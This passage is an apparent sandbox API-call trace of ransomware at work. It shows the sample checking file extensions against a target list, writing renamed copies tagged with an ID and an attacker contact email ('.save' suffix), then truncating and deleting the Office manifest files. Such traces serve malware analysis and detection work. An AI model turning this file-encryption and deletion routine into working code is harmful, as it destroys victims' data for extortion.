lpString2=".xml") returned 1 [0060.107] lstrlenW (lpString=".rar") returned 4 [0060.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString=".bz2") returned 4 [0060.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString=".7z") returned 3 [0060.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString=".dbf") returned 4 [0060.108] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString=".1cd") returned 4 [0060.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString=".jpg") returned 4 [0060.108] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString=".doc") returned 4 [0060.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString=".docx") returned 5 [0060.108] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.108] lstrlenW (lpString=".pdf") returned 4 [0060.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString=".xls") returned 4 [0060.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString=".xlsx") returned 5 [0060.108] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.108] lstrlenW (lpString=".ppt") returned 4 [0060.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.108] lstrlenW (lpString=".zip") returned 4 [0060.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.108] lstrlenW (lpString=".rar") returned 4 [0060.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.109] lstrlenW (lpString=".bz2") returned 4 [0060.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.109] lstrlenW (lpString=".7z") returned 3 [0060.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.109] lstrlenW (lpString=".dbf") returned 4 [0060.109] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.109] lstrlenW (lpString=".1cd") returned 4 [0060.109] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0060.109] lstrlenW (lpString=".jpg") returned 4 [0060.109] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.109] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.109] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0060.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.110] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=357349) returned 1 [0060.110] CloseHandle (hObject=0x378) returned 1 [0060.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.110] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.110] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.111] GetLastError () returned 0x0 [0060.111] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x573e5, lpOverlapped=0x0) returned 1 [0060.123] WriteFile (in: hFile=0x2f4, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x573f0, lpOverlapped=0x0) returned 1 [0060.130] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.130] WriteFile (in: hFile=0x2f4, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.130] SetEndOfFile (hFile=0x2f4) returned 1 [0060.130] CloseHandle (hObject=0x2f4) returned 1 [0060.139] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.139] SetEndOfFile (hFile=0x378) returned 1 [0060.142] CloseHandle (hObject=0x378) returned 1 [0060.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0060.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.554] lstrlenW (lpString=".doc") returned 4 [0060.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString=".docx") returned 5 [0060.554] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.554] lstrlenW (lpString=".pdf") returned 4 [0060.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString=".xls") returned 4 [0060.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString=".xlsx") returned 5 [0060.554] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.554] lstrlenW (lpString=".ppt") returned 4 [0060.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.554] lstrlenW (lpString=".zip") returned 4 [0060.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.554] lstrlenW (lpString=".rar") returned 4 [0060.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString=".bz2") returned 4 [0060.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString=".7z") returned 3 [0060.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.554] lstrlenW (lpString=".dbf") returned 4 [0060.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.554] lstrlenW (lpString=".1cd") returned 4 [0060.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.554] lstrlenW (lpString=".jpg") returned 4 [0060.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.555] lstrlenW (lpString=".doc") returned 4 [0060.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString=".docx") returned 5 [0060.555] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.555] lstrlenW (lpString=".pdf") returned 4 [0060.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString=".xls") returned 4 [0060.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString=".xlsx") returned 5 [0060.555] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.555] lstrlenW (lpString=".ppt") returned 4 [0060.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.555] lstrlenW (lpString=".zip") returned 4 [0060.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.555] lstrlenW (lpString=".rar") returned 4 [0060.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString=".bz2") returned 4 [0060.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString=".7z") returned 3 [0060.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.555] lstrlenW (lpString=".dbf") returned 4 [0060.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.556] lstrlenW (lpString=".1cd") returned 4 [0060.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0060.556] lstrlenW (lpString=".jpg") returned 4 [0060.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.556] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.556] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0060.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.556] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9216) returned 1 [0060.556] CloseHandle (hObject=0x378) returned 1 [0060.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.557] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.557] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0060.557] GetLastError () returned 0x0 [0060.557] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2400, lpOverlapped=0x0) returned 1 [0060.559] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2410, lpOverlapped=0x0) returned 1 [0060.560] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.560] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.560] SetEndOfFile (hFile=0x374) returned 1 [0060.560] CloseHandle (hObject=0x374) returned 1 [0060.562] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.562] SetEndOfFile (hFile=0x378) returned 1 [0060.563] CloseHandle (hObject=0x378) returned 1 [0060.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0060.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.563] lstrlenW (lpString=".doc") returned 4 [0060.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.563] lstrlenW (lpString=".docx") returned 5 [0060.563] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.563] lstrlenW (lpString=".pdf") returned 4 [0060.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString=".xls") returned 4 [0060.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString=".xlsx") returned 5 [0060.564] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.564] lstrlenW (lpString=".ppt") returned 4 [0060.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.564] lstrlenW (lpString=".zip") returned 4 [0060.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.564] lstrlenW (lpString=".rar") returned 4 [0060.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString=".bz2") returned 4 [0060.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString=".7z") returned 3 [0060.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.564] lstrlenW (lpString=".dbf") returned 4 [0060.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.564] lstrlenW (lpString=".1cd") returned 4 [0060.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.564] lstrlenW (lpString=".jpg") returned 4 [0060.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.566] lstrlenW (lpString=".doc") returned 4 [0060.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.566] lstrlenW (lpString=".docx") returned 5 [0060.567] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.567] lstrlenW (lpString=".pdf") returned 4 [0060.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString=".xls") returned 4 [0060.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString=".xlsx") returned 5 [0060.567] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.567] lstrlenW (lpString=".ppt") returned 4 [0060.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.567] lstrlenW (lpString=".zip") returned 4 [0060.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.567] lstrlenW (lpString=".rar") returned 4 [0060.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString=".bz2") returned 4 [0060.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString=".7z") returned 3 [0060.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.567] lstrlenW (lpString=".dbf") returned 4 [0060.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.567] lstrlenW (lpString=".1cd") returned 4 [0060.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0060.567] lstrlenW (lpString=".jpg") returned 4 [0060.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.568] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.568] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0060.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.568] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1261) returned 1 [0060.568] CloseHandle (hObject=0x378) returned 1 [0060.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.569] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.569] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0060.569] GetLastError () returned 0x0 [0060.569] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.571] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.572] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.572] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.572] SetEndOfFile (hFile=0x374) returned 1 [0060.572] CloseHandle (hObject=0x374) returned 1 [0060.573] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.573] SetEndOfFile (hFile=0x378) returned 1 [0060.574] CloseHandle (hObject=0x378) returned 1 [0060.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0060.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 